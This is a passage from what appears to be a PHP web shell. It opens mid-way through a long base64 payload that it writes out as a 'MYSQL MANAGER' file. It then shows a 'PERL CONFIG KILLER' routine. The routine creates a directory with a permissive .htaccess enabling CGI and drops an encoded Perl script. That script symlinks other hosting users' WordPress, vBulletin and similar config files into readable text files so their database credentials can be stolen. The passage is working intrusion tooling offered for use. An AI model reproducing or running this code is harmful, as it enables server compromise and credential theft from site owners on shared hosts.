FtajlTQkpnK0RrMmpiNGswaWNxZlllcjlDVVpLODEwK2s1RjUyejArcUZEUzk2bWlOMldkdGE5U1dJZG02Uk1XeVJsVGpsSnRBc2ZTaExyMkNSbDJpSXBjMWFRUkhQem9TU2hUb1lrcDIyU25GTk9rc3pwQjVMRU9qWkptYlpJeXB3eWtsTHhmaGhOV2NrUU5SbWFxc25TWkhIZS92QkZWMVRlRThYcmwxMUhtSjVYbFlNQjVHSUV2MUt3NzZuWXJkM2xaVkJPQnVWalVDNEc3V0c0di9kcWl1NjExOU5vZ2VZU1duMTE5OHBWTmlXVTF2S3VBOWZ5Y2JsZjVlUDZmL0FjcmZBVjFRWDJTRHVNcHV3cmtubGtaUzdqR1hxVXJUTUZlZEpRZDkwNjhZZGtkZFhkZ2Zhak1Tb3V2RVFrU3pCQWswVHcrSXMwRW5vN2t0WXI0RzI0RHJBdGh0MnY2d3hITXk4RTh4QktFU2V5eDJQdTVKMVlaZzRBMFRlTW4yMTV0MmE3dEdtNGdoQm1CUXR0L2dSY1BJQ1gvZzEwQ3Qyek1LdmxWMHF1VlJvQjdaN1gxY2c5cjd6elVNZTQ1bFZDNFd3d3FnYW1rWTJTZ01wMmNwNGJySTZaTkRXNUJYVzNrK21HUkl6ZFlHUzFiMXdEOCtySHFyTjNjTEo3Zk1xZUlwNDNwREFxY2pYeHorMzlEN3NuM0VQTWNQQWd4TjFqbm9iK2xZaFJrWjZJYUtvRzNCVnRrWm5udFd4SGxndVk1bjUyUENpRk0rZjVVMmJqdHd4SW50a0kwSEM2OTJlNUdsSEY1TXJWaFI4cjcvUHpwME8wSFVBblVRM3VmUHN3ZkRqYVFkZWdOUUludTZkNld2N3J0OTFqS09SVzdPKzkzenNWTFI2SFkyWStzUlRrN1pkWWI0VHl4SmZDMkdiNkY3dFpnV3ArNmcrUjg3Q0Y3T3p1NzBLcjN4MGZ2cmViYmpmWCtRN011UThaNHNZT3RnNVZ2M3ZQU2NrWGc1UlVPOE9sT0ZxNDM3ck9rRUxXbjJub09UVzE1ZTBBS2Q1QTdHYWJ2VXFlZjdodVR2eXRHRzZvSnB1U3FGMnU2cUordmVOUFBkZ3pZSzdqcVJsay9Qcm1kendlcG1NNVNMN0IzM1Y1OUFmcEQ2ZnYxbDlpaGp3VGc2eDllVHJXS2RQanlaZUhVT1RiRSsrOTBEdjM0eFhhZk4yMlFYNzZFYmZKTVZpVFBsZ0xpNTdLMm5ramZrTk52ZTBxSEtTNTVBMEhIaGxFR2Z5Skdadk51a3ZLQ254ckhWb1N5U0QvZ0NyK0Y1SGpjSzlFenVweUdmSWptQjFmUm81emFDVnlWb3l6eUZmaWtoYUZhekNnVTFsbW9hNkhPV3hYUXdiWnJaZ3pTbDFOWW1NQnRwOGNocUs5OWVwQnZnMS9FcVM4R0tzODVIVXBYT3BDejJwMTJtU1piU2lkakc0SWZab0dNYXlSdlVSRXNRaVNzTyttWXBKZDdLK2dBNElkRlBLTW9PcHl5U3lBYVZGcjBLbzJ6Z2FvMlNrQ2NlTWtGQ2RLb0hUVEphQk9sOEJtZlJpYU1XRGhzOGlvV2tkc2VMS2trcm9yZ0JCV3NUeGxnMjZNTE1LY0tBS3RJQW9nclB6cEJ0ZUpLL1VGckZIZEFqTXdwaEU0RGdUS0d3VlJreXA1aHJIMGJUWlJqVGRiQTdObEJmelU0MldCZklIRkZ1UnFKOUdYWEEzMk9HWEZFM1hEdlkvSU11VThXM0tadXRsU0pFZ0RyTVNMc2JxWjFzRGVUNGhhUkFxbnVGWWZSN3BkdHc5cmplVDhneHV6aWkwbUgyY0RXUlRuL3FvQnlUVzBNZ2FGMEdmRFMyOTB0R3Npa25DSjdwZ25UWldHUkJDbU1LT3FtZ2FlZ0p0cFN0RldITk1Ec0Z3aTFrV3JKbjRSQ21QMmVEQmJ3NmJVTXVzZzY4bEJKU1ByYWNua2tMeTNjcVJJcjMyZnNBM1NGejZSVTR0VkJ3eVdBZ3lRTmFTelRiUFRVQ2lGQUd0TTFXbTRJbDZHSVdwSFFZZ0YzQXJJQmpXY2t0aVdodnZhS3NMdGhOV1lpK0Q4Z2dtYlJ2U0UrN1RSY2xWc0ZRL3B4NlVmMzFpaEkzanUvV2I3WlBlRVQ1SW5vOXhJUThiWkFIV2o5WFZ4d2tmTG5wZ29VM1I5WFZ2VHlMWnlRNXBJYWg5SmNnWS96clExNnc0UWV5NkxCeGRuS0o5bUYvUWY2Y05JOGcxcXd4b3hPLy9aQUpMUmd0WU83ZllKckNDcUFyWXNaZEJndWxFSW94bWVVeTJ6ZDZRWFFkTGcyc2taSlZUZHZYRGlYdzlZZU5hUW9uK0ZCeU5RdlZVelNpV3h3M0NTYlFRakxMTGF6TnRsSE9OeC9RUzZRUjBSWmU1bDA3aStTOU9BaExqYkp5ZXpsYUZ0KzZ3Q3J1aUt2NFNpZDRwbDVjVDBoa2Eweko1aHlGbDU1T0UrZXlpZXV1aTdiRzR5VHJaOENkZGZYNE1MN0xubEdIWlZuOUhoaFBwNlpHaWZTRHp3UlhnR1NxSkxWYzd5bi9EY0dFNUdlcEI1dllFRUFMSEdOaDNaRnhWWTVXb1JOdFVRSVFaZUp1ejhNaUJTMEZXODJTeTZRbzNQcnBZeHJSN2xzZWdrbXBNbllPZTlQUVZKbTdQMHlFUzNHMm1xZFhJNFRLTGhTRXZabHRCMUxjUUpwOTNnbHVFYXVVaDVQeU5YRmNid29aOXE3cWNYMGFUcllEaW5vNWNGckpEczhjaG1zL21nSXlSNU9DTEdFV1lEeVUybmQ3d01CUXBmNnNvRy9neGdmd01WVG9zMWF5bTFyVU1iZWRDeWhVbzV4aWZJZ3diTkZrZWZWVUdobzg2bitGenplYk5wamt2cGpCUFAvS2ZBbzdhM1RDTmFVQmpOa1N6OGNlRE5hSHV4NWtWOTkrQjArSThQaDZlN0orVGFWRTNvY2ZQd0NKbXA2WE5nT25RR0JyQW5XalpzbE9wbTJVMVJSeWFzN2puUzlsQXBlWDd5RCs3aVJxOTRqR1hXUW9rV1VyZG0yNFBWR2xwb21DaVRaM2dnVlRXTGhkemZlZ2tZOTZGeE9XajU0QmFjekx3YnZqM2MvL0QrNEtTd1NEaktLcnJLeVhTNThkM0xoY3pWYVMvRlQ3TWllSDZ2bXROUGluTmFMdzV6T0lyS3BGMHc2YjBML05tRVJzck94UmlpUXViQmNqWXJaUDd1M3hUeXBIdWprTDk3bmNaZU5oZG5oMUlwMGEwb3FwSjk2RlBVWVdPNHE0NHdiR3gwWGkxMkNvVXlBYUI4aU1KNUJBb1FMaHF3aW5FM0pxZ0RPa0p4S1c2azczWU0zREl0QWJNd0luQ21FMUNHTG51WEdJZlJyb1Z1S2doazRwMEF5RkFFZUJ5T2trVm5KUml3K0I1UXlxZjBaVWdhaGxWd2VrQmcxcVVqcmVSYk1kcG1tZkNXN05KNXI4bEZXZTZ1T0p6SnJCdDdNNjFaaHkxZnYwd3FjVktpUytYYnE5V3FpODJlNVVOSDFVeXExTlllTDkyQmoyUHY0ekxxbUxNaVkzMUlUQi9Zb3k2OW52ZkdjdzkvYjBiNnJOaWVWN2luTzRvbmR3WnAybHV1Mmw4WFlEZzRKUnR3N3k2VDhrdm11U1hzczBQLzlmTHRMcmxCd3grRElXRXYySUUrbnFBckdzVzl0RmdoYTJ5cW1xNDhxUGkza2s1Ym96SUJOWUw4R0tNYXlpUlRWbFhKYUNhODIrdURuck1DNmtGT2UzbG1heS9QeTdVWFptQ0pjbUtMbmkrc1hKdTl5SFdjbUhuMXJhalJaTlVWdTNOYWVkbVR5WTFDbXpMci9mdlI1NE00VGYrRFRCYm9GM3hjZFdISkNHVnFLRFhMYUVMV3hDVjlCNFhCYTMzWnJRTUwwYWhDOXVtZUJNYmxCSm82R01IR1lLQ3hNY2xGMVVIMWU5UWp4ZS9uendoL0t6RFd1YmkyaWpxcVE3TVQ5RUlTVnNsVkFCS3ErdEY0QTM3NkVVaU1VZGx1dHJXczNjV1RGaUJ4eDFrK3haZDFaTlZXbTFzTmVsMGFvYmtSVjJFVThHS2RiRkd6M25vQyt3cnBmdXdyK0lVaTR1VStWbUtqRUJPMFBTVFZGQSt3YTJFTEpVTllMVW4xb3czSS9oOFF2SUgwVU5GM2xlc2EwMGgrNVhYaTIweWtocmtXZ3ZSby84cEdDTENrZC9xeFV4ZE9QNlNmcVZPcnE3TW92T3VvZmtCdUdnZno2b3BCcThtYmtJYlFJdmJQTlNWbm83L1IvK1hzdjZyOVgvb2J0Y0V2K0dzalFJSUNmdWhxSkttdzN0eWpuV2cyZzVySTZINnk5dCtmWVJSdXEyZjlxOEZhalJPUWkwaDA5WHFGNnZsSjRVaE9GWnkxQmh4RmY1dmRPQ3Q2aHNQV3Bkbi9iVnZQU3RXYTVvYWVNeHg1QW90NW0zWkhvMjVWcGloRzJUMzYyc3daeWszcy9SbERVU3NZaDFvSnRuUWxTS3l0VVR5YVpJRzZpSUhsUTc2ZXhTaUEvd0V6RE9SUEhoRHpDb0RBMWp3Y1gxcklnT0hDQjVrWFJsZXh0K2hSTTJDYjRhRExYb1VSUTdXYWpKK2tqanNaYVNWbG16U1A1bUhoT2ttU1JHT2o5LzNibUFKYWFaTkJDNVZScXhBZUFiMlJjUkVnUEdHWEFkbXREdGxVMGpydnZ6dE1Rc0xuSWlYRTlzR09VRW9JdEtDQlFZOW1RTmhQTUJ6UGZDODBLREpLdjZ5YlUwSDlrRlZReWw0OW54V2RNcGVaZGVUWUo0T0FYV1hBVEVLcVhHZGwvc0pkZ0w3REdaZkJQUEZuOTBlODQ4OFFyMjN1QU5jS2RzOHlKSWMvbDJTTm9Mem95T3d4bTIzY0tJeEwzNXRPeVFuTWU0QWlBOXVUS2hCWUFKc1lxMnhlTEJXMXdnNTJhLytYMjgwdGx3UkhOWnljYnA5K2tENTY0c0NRNVl0TUVFbDBvM3VwTjhTVGJuVmNVdWFKbHN0U1JlbDl5V052b2JRU2E1STB1KzJISERrdnI5Rm1tbVNsVEoxalNGckFPU1M0MndHTmNiUU1kY0JkRmlMTGg3VTFxNnRzT2xKQ0xnTzdCeFplblczTkRoMmwrT1hkbzNuSDd2RUFKK2VEdldGM09IMjBrL1J2WU9ITmduTWd6cUVHV21tVmtkRjBKVUhycGxHb1ZGaTZwRENLcmxGMmptZkIrTExyNkFzVUpFR3BJVnFMelRpUmNKZklaK0l3RjcxSVppQUxaVzloYmFRK1hmNHZsTEVLblNzakVTWVB2NHdWTWVudGh1ZWdWeFR4UjdPWmw5MnRiMWM2ck5UYXNjUGdUQ1R0djVONW1CdHRheDcwTXRIeVpueDVJdkRTR3VpWm9NVHJtWHRBTng2eDdTVmpmYy9ERklNbGUySms4aDkyYW1Uait4NG5SM2w4dWRPakU1WDhOcXhseDBobExyeU1aQ3gzTHBaSndqc2hyZVgwQlVocmNXVWhWeTB3VTVXWDJwZGFvaFplRnU2MjZKek1MQ05saFdld3JuQ0Rua2FwTjVOaDRtM3RwY1A5NFk2VzBjWlVYcTczaDJLeDhRZTREYzBkOFVvOGhXMS9rNXdHZDdwZ1NjRldYZXc3RG5mUzZXZDlEVmhnSTM4SnlKOUxNRXVhOXgwVDhtOWRJV2oxSFhYOVFLMTZ1azBnVGdBYVJScmQwYzc0TXZvT3BjekZCQXdVdDFBNkRSbVozaWgvSDhJeDcwTVk0dWdMZ2hUeUVWTFBtOXlJSE4xUmFpcXdHOFc2a2hGZGhiRm5YM2JadmFiYlFXelFZK2dWaldRLzYxeHh5bUpjNnBuN0VvV0lGeHdYNldxaDZ0UFlzaSsxcm1ZcGpxOExzZk0vL0NDaitFcXVlb0VhR0UxdStJWWRYL3EyNDZoMDhCb29vd21IZ3RIZE5YZHJFbnhTM3JpUzY3dnl3blB1WnFvNkJteXBxNmQ4MzVOdVo5Sm0wZWE5b25ndDFTSHpnZSt1UTBNNnVoa2IwQTVsV3Bpb3QzRVVYUVkraGJUWEJic0E0ZmNzbUpJS2l1NE9rSm5CTlRwWXFFL25zMmdFeTdSQ0dnNjZRZFNUQm5YOU1rdUhJLzA1Um9ocnY1SVZ6bHltQjluMG1JdnIxdlF0QUVtVGY3K1N2OXU1aXBqSmlpZnNzL0tTbWZVaURQMGVIaDBlbjZJVzJoVlBuejZ4d21kQTJwZDNWM2RpamFqVzg2MzFVRkxuY3lmUjNBTWxEL05sV3dweGpPeENrbTRqUDVhZW8vRXlMdmlRK1BFU3kvMUVSaXZHWDZHZDBOUFZHVkFGVVpHSkVFMm45RFNQZUtiaXE4aVhPUGFER2RmZU1MV3RtQzVDaXNDTWt0NlpZQzlhSmNYM0hMZ3c5OXdEQTZrZWlIVWhxWnRhcW1oTlZMSWdHQ2tteVJPYUxUbWhDdlZhV0FkQk90bG1RYzBxQXN2U0dtQmdFbzhmaTlLQ3hNWnZZaW5Wa1JuVktXV0MzVC9tSjFvK1VaRTFYOXNrUlllUlN5cllkVnRPWmFaRHRjaHphSHVMenN3Wmkrd0podnAvUmJBTS9teWhrdk11aUJQV3cxeTVQZzFwSlBqMTZOMkczWWtXYkxOSTd5ajJQOW5rdEZzTitVT3pRTUQzVnBjR1FGVFUxVzZMT2VpaUNYQ3hhK3dnUElLR3l4aS91ckdJQWh0NHhwOERibVFuUHpRTmUyelVLSDhuTHExcExoMkEzS2VnTUQwbWVHUE1vaWErdnArRWc4bnNlNGxOSnU4U3R4TFl3VVh2Q0t1U3JxWkxaRkFqSVdCbXlZdnhCaVFuSldjUjZKK1lYNldSZlhYWFd5ZXNkc2gzUlhETC9LY2ZUN3pRNjd6WmZ2djdyOGVISHc1MjJ1TG5kL1JQUjc5NThoSjJ6dkozUmZCcGtlekxCSm5EVnJMenRTT0FicTluYnE0WG1nSHpHVFFpdkU3ZkZzcTlhbHZ1QzFtcURIYVRKZ1hMMmVSYjgyVTNwQmtCNlVIYTNpUFdGV3JrNG43Mk5SQWZQMm1sUlQxb3M3SGhoeE43R0RMNmpIL3RqNWNwM29tYytqcDZ3R3hRd2hTQU5GUzE5TE9GV050bFQ5UnIvQ2JvT3FKUVIraUE2bitnVTFVNkIxRUZXa1lYRUNZWC9tdzJ0TkJLSEs5TkFiZm9iaXczU2VyUFZjTXlMMCsrNWpLTlJPRUhJSG82a2QvdlljOGhaZ0x2cEMvM2JwSTQxT2xGdkN3bnFrcS9sZXpySUJsQ3pXZ1pqL0dhS21KWThFMWQ1THNUTzdWYVlSRFpuL2pvOWRTUGNITzJBQnA0MFRmR1FQZkt0TjVxYnFvenpkY0xkUS9XYU5acW1jZXNORmd6Q1BDajQzMFJLK1VsdmFDSFBYbGVPVlNNZWlicDdCSU4zeXhHU1U2LzIxaXVyNlZwekdOc0w5OHRReW5CZm55OG5kdFY5NU81RkM4b005ZW5zRXdTaEtpL3pnVjJFQUxpYnZhUzcyMmU2TVFmTGM4NUd0eFdpUFZicFBkK3ZUUkZnMWNDZ3A0Mjh1TWhMbEF2QmFXaTdERlQzUG8xbFZvZGpFbXQzQi9GRVY2SjgzV0FpMElOMjJBQ0hRd24xYVRtbXFmdFRHZnVkWFd2aTFlWjFTdFYrTTB4ODExKzNrRmZqZ0hsT2J3MFowVXlOcitxdzkzYkZKZUpOWXV4K1RVNyt1Y3R5Tmd3b2tmUUVBTmVqK1o0ZTQ3Rk43NTQ4MkFmamp1UjUvY25yR3REQXFiMmloaGZzblRDeXd4dGZVMWJSWXZUZlcwNnlTNmpteU85NHRxQWl1VlhyQXBDNmFxM1RyNzFhd1Q2R0JndklhcmJoK3JXb1Z5L0ZISjBTaStId2ZZRWRCSVdFaUdiMUYxenZ5RUx3a2QyeWNyeThTekExOGxHUWVqRk54MUhNYWl3eWpHM1pEcXBoMVVmVitpM2RmZGVIVTF3dnYzQ3E1Q1o3S2ZseThyeWVCK3p6eXFYQS92SjFrODFXNDBYRWp2d0VkOFp0dEZMckhUeUhpejBtUjFEWkZVVHlpdnBqbjFRSnlVd28xYXY4NVhGS1NuQVRnYk9QdjZYUi80Yys0TTh2a2NWZ2VmMURydWwrT2M5Sy9iVGZNVTdrQ2lHeUt5Q3dFVkhseTMwUnVkalcyWkRjbTN0YjV2ZGJwT3VIT09UUDZRSjRpdGtaZElIMXNrUmlQZHFoUlZXZWt4Q1ZNTG9pcDVOMERFdE1vUENRQm95OUVQbkNhdXkxTTVOMllxbm5qV0p6bXJvalkweWFJcFdrU0VxTXJzdTFzR1N4VmVrTm9wdGs1LzRrblIyeXNtQ2NxWjhXREJiYkU3UVJrZ25nWHBUS1hhRnpoVGwrUmpEYXg4dyt4RTJDWmM4TFdPSU15eGFidzNxbWZTbWVpYTFzbHpJemdSem02NUVMM3Rtb0ZZeGtRSHNTY1k1NVJ6QTU1NHFuN3pZT0VkMDBJajlnTFVHVWIxVVVGM1J0Ri9sY2c4aU54c3Rhd0JiR2NBLy9DUjdpOXpTYTZDQ3BSQmtHd3pmb0RFc3d3UFZZTFVvcGg0aWVnU0U4aXFoQnFmRmdvUnhyY2lXTWdXTEJzWmVxWWdtME5qSnZ3ZHBzTGRHY2M4MUdtT0Z0aXJMZy9SSXFaSzhONUZEbEZIWjdXeDJMSkZheldpUnFKUGJvSzB5L214bXBuZXpJRGsrbXRaTG1HSjdDcFhJZ1h1RGFwMDg1STU5WDI1aFZGQ29ZQjBQMDhtdzNHNHBnZTZMNW9zbkw1NjJYbTdLTngza29USTVaQ1hRaGdVa2ZvRUV6Q1BNYTRvR1dObS9qdXhwWk9GOSt2TFppK2QzSWlXSUlzYjNxekIrb1kxbHJmdDlsSHUvVngzNzAyK0VlSE9UeXZsdEpqWVdLa2FTUTE4Yy9YYjBuOEZDUHFCWHdkTk1EcUZSWE9aeVVLS0N1UGFERk5LdkN3YlArWi9qYUw2STZhVUdBa08vQmxUaEpUeSttdWhRY0tNZElNYWFvUGR2OE9veGhTd0VNU3BjMENYMTRDeVdkT2tzVmF6M3hLOSsrZzR5OXlHVDYzYzJOdGJXMThUNitzK1BmMjYxbWkwNytFY2pKbDJqMjBOTlEyZWVEYnBLdEgrcXEvZGdFZU5heTRyeHF6N3k1NHRVdGZYeDQrcWpYUE1oSy9NNk0yWFdRTStDRDlsQzdvL0tZcllvWnNqcHF4cFY2elZybjFmMVFEK3ZiZFFzZXByWkZGQnMxcFFmTXdTRFNKZ2lrTXV4bTFNYzJOaERvRW1kRHBod2J0allPdW9KSklLNWMvd0tiNUpuM2dKWG8rZE5KdStveGJJUmRaR0J1eldSM09zOW1JZ1VHaUtyVWs4UnFNREcyNnlva3R4ZUtab0tNd2lmZzBxOU5CaURabWk2cUlmUHVwbUVHeDd5TlZ1bUxrelFFUjBzWFI4UGN4RGdvcVlsRXBZOTZvSTZRd2FMU2pWY0hyQXVJaE80dHphNHNDTWZ2ZU5Xb0kwdW1aSnBQSm5qRlE4bWNtV3F1VWZqcGVnWEZIblAzbXhvdmVPNUtkaU1ndjZ4NDQ2b2RBenJBaHRSWG9xdldtdUlybkQ2MTgrYS9ldW5vLzUxOHhuOC94eitiOXIvTzZwaU5Kc01wVnRieU5nbmE0U1dZWEM5dVJNbHAyZzhWekFsemVhbWRQRkRTbW43ZGprQnZFSnhnNmZqb0xxMjliZUdNdGZTRkpJejl3WSszQUVlVWZ6OVpaNkVMcVdHSWtBbld6ekhRM0xKbmxhK2JPTGQ2S3E1c2d2WWJoTXFWTEZmVnIwZ1hLTGtIcFNVc1gxdnltN0Z4b1pBajE0d05WcElXZmZXWmZlMnRzVG1zNXI0SzhzRDdnYVd0WXBsM0Ewb2JNR205OWRQUDFiTE9vTEZKWFYxVjZDOFNOYjBwdGNUcmVJT3J3VUdUbE5VZjltTXo4NEhLWHRXYXY5S0NrMWt0UW1vVS81MVZTNnA3R3lqT2NKMzlQMXJxdkFEL3RHV2F4YzJWRVp3OW54Z3ZsOE1mdnF4a1N0L2FwVS9LeW5mdE1xZmxKUTNyZklXUFVXT3J6UzR1a0c0MGdoY1p3QUdweU9EbWVNZnNndnhDZnovMUpGRkRTcHJQVldMMGVTWkJXcmx2Y3psYVlwOFdSb0dhY2d4eW5yN2hGSGlUU2JHUHo0RFA1OXNXcmwveWtmOWpLNWdWOG5oK3JOUVRXN1hhdGYraytkRXM1NnJBalA5YWEwT3RnODNITjJhQzI5OFdYWC9pYk1CMnJTaUFPbVhGOG1PRmdvL3VZYTIzakVMRUUwcnQ2TGViWkZKYXZIL1JUdXRUVmRLZUk2MG5NWmtPZnBYUTMyUUxIdWc3VDI2QWt4TFE5YXNxZmRGSnJFL3pzbjVGdnkvU1ZPRVN3dXp5YzYySnQ0OW9LM3BwN1B0R1doeVM5aFdXcVk1VjFacUQzS3V2RERPWWhWVTgvK2hCRnY3WkhObGtSNTNhNVBOS0dGV1BrNUlQUld5akZZVFZkVlMrenhQSTRJckduQ2tvK2s0Wk43NEN2UEttcFBjQjhETUNrUXBxQ0pzK3hMNFQ3NElYYlZod0RNNlNjTWVRRkJ1OGNTamdMZDJiN0FmREpmVmRKQXRzSkRZcFNTUHNDZ3p5MHRjQ3RuM1NPa1h2VVhhVmZvSUJiY3U2Y1pCK2Q5WWtUSFUvUHlzQlk5cktmUFhWbVFrZVZWQ1RqRUNnQzZYZEZ2Nk5reGlSYlRMUDVKaTNYUjE3R3ZDQkY4ZWw4Nm9hdGJMdG9aWXZsdll6THA2c3RmNmd5TzZjVTExelROVEJXWVlrem1qeTVBRGxjS3JsUU5IdmZva1RUZ3VjdVFWYlVmOUVhRWN4cDNkZDlzZjlrK0ZLK0VsK01CMXJDdG5YQ1N2anFNMzBQa0QzK1FwdzZmK2drMUpkWGtGbk9xWFY1YVFCRGd3Y3djOUpaSzdNdnpLSHJIZmQvOVlQVjRjcWxVeVdvaEVjdVNTVG9Fd2g2NjlEL2tQcWlqTitWSzlvKzhjSGUrOTN6Nyt3eUdqaHFBUG9uQUlDdFhIcGM4UldVMGJvZlBoWU84ZkgzYi80cVRtaDIxU0IvaFd6eGtEcVBISjVHV01rTnQ4S1FzbmFzbmJhTGFjaDZicGttdlVTOXJPK0J4MFJwYlVwWG9taWlvbE5icWRLWjlYQmZTMU8yWXIxc0hhU1ZkSkw0V2w3dFFkOHl5N1pGdlhZbHZwaUFzaGkzRVlSVldqcjJXWGh1Mlo1dFkzNjgvcDZxVGtzbU56UGd2NW9yWnFMU0ZKMmRBOFpmV1VaclpPSC9iTGZzaWNzQitFbmw3RlFVcUhxblZUSTNzUmxuMmF1bEQvbVRoNUUyWEZMWHRIZWI2MW5DcTVzZ2NZN3ZlU0FRS1dDTmppUzhEeTdkK3F3NW9RVVNMWGpSOTMxMXNsY2xUU1hsdkx3RzZabHQ5SEtqYTZlSmp6SlpFbzBjZ24wdkJtZUlabXVaalRFc2xnemdLNGpyclZtNHk5aGErUDNFcnd5d3R4dDJXVHF0YjVmcE5ETG1FMXZDdFE0bkZiQ1RKSFA4eWUxVm1XVUFzZk56YWU2aVh1M1J3bGdBVUZMV2VoSzBpM2ZCbzNIT3ZaZHcyWWp1alZRQk9IZi8rL0hQRjB4WFdsMnd4NmpteituTGwxN2hZYnJPT3EyWHptT05pdTY5Ymt0WEdPSnFMWDdpdnkrZno4VS9neXVydVNmMitmUGlpVzJ5bW55eSt6VnJ6NDNFanVHaC9YbnAveEs2OGtzKzFrRHhUZlY4S1JRZWhVaE4rRHZ1UGdoWGFaRHd5RWpJNUM1Y3U5Vk9GUzZWZTVkRnY5QVF2S3BXZGdCN1IvMldrdytURkF4TlhZK1NrN2cxMmxYMlhUZER5REx6d29NbHpLYjh1YTJpcjlLcGR1NHhNTHdDOGRhMFdsNnIyNmdYWFBuMHFJNkNBWG5FOGxsQmhZNDRhWnRFT3FQMnVReWRIRGlabVVHSmc1d0tSUW40SThNeGo4U1Z3ZFVDaS9mRHZBZnFIQitiZHJwbE1hNDJNOVhWaWNxV1lnOU1PRDh2RVNsY2Jwb3I3cFZsWU91dUU2S3BMMElaTkp6YUhTbVpCNWo5RG1zOWhTZjFJd2QwdWt5TTh5cnV0TzlaeWl2NS83eFM4MERvcFJIVmFoZGVrNjk0ZDdlYUdyWngwSFhWSXo5Y3ptK21ha29ReXZvMGh3aVd4cmc4RktKbHc1Z3ZKNjZqKzZSOElrVEtkTEdhN2VUYk9sc0g0Y05qZHorSS9zRUJhT0w3WEZqTTZCbWJQUWYyMkhpdVM5VWd0WTUrRFJuaitiR3FGRWZ5ekNua2dxQTZTbi9Fc1NhbUZRU2twUVd3Q3lmbXlJeVRTMEN6dldjdVU5RzRxVHZkOHFsZkd6TXBkVG1DK2piR1UrcC9SYWxlM0w4MSt1QkR0Z1N5MHZMWEZMSG9VcVc5OG96MHRXdDJRRDN1S3kyU0RUZU9taWFaZ1YwMjAvQXlYVFhiSDU3SnQzaXFKY3p6MEcxS2ZYZ082OWtMRUhXczdDTitaaGUxVWVmbXYyczN6c1dZSTE4eXpRb214M1YzZXhNSlpOdjhqUExOVi9Qa0RseTFmV3pTdVJoVWQ1MkVDRXdlV1FkZGxMbmU2dmVPWHdoSlBtU2NQY0M0VGxUVFk2MHlySUJYVEtzMjkxTFdLZndpNFdvQVduUXlxMTdscXBVa0x5dnk1QjhBdz0iKSkpOyA/Pg==";
1786$write = fwrite ($f2 ,base64_decode($sml_db));
1787if ($write)
1788{@chmod('angel/db.php',0755);}
1789echo "</br></br><center><b>GO TO : <a href='angel/db.php' target='_blank'>[+] MYSQL MANAGER [+]</a></center></br>";
1790}
1791}
1792
1793# x=ckperl
1794elseif(isset($_GET['x']) && ($_GET['x'] == 'ckperl')) {
1795echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ PERL</span> <span class='b8'>CONFIG KILLER ]:=O</span></b></nobr><br/><br/> ";
1796echo "</br></br><center><b><span class='b11'> You Can Go To : <a href='image/anu.pl' target='_blank'>[+] HERE [+]</a></center></span></br>";
1797if(!is_dir('image')){
1798$mk = @mkdir('image',0777);
1799$c = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n AddHandler cgi-script .pl \n Require None \n Satisfy Any";
1800$f =@fopen ('image/.htaccess','w');
1801@fwrite($f , $c);
1802$f2 =@fopen ('image/anu.pl','w');
1803$sml_perl = "IyEvdXNyL2Jpbi9wZXJsIC1JL2hvbWUvYWxqbm9mcWUvcHVibGljX2h0bWwvdHJhZmlxL2dvbmZpZy5wbA0KcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7DQpwcmludCc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+DQo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9ImVuLXVzIiAvPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+DQo8dGl0bGU+WytdIENPTkZJRyBQRVJMIFsrXTwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLm5ld1N0eWxlMSB7DQogZm9udC1mYW1pbHk6IFRhaG9tYTsNCiBmb250LXNpemU6IHgtc21hbGw7DQogZm9udC13ZWlnaHQ6IGJvbGQ7DQogY29sb3I6ICMwMEZGRkY7DQogIHRleHQtYWxpZ246IGNlbnRlcjsNCn0NCjwvc3R5bGU+DQo8L2hlYWQ+DQonOw0Kc3ViIGxpbHsNCiAgICAoJHVzZXIpID0gQF87DQokbXNyID0gcXh7cHdkfTsNCiRrb2xhPSRtc3IuIi8iLiR1c2VyOw0KJGtvbGE9fnMvXG4vL2c7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ3ZiLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLidhbnUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ2FudS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nYW51LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRrb2xhLidhbnUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ2FudS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nd3AudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsJGtvbGEuJ3dwLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJGtvbGEuJ3dwLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3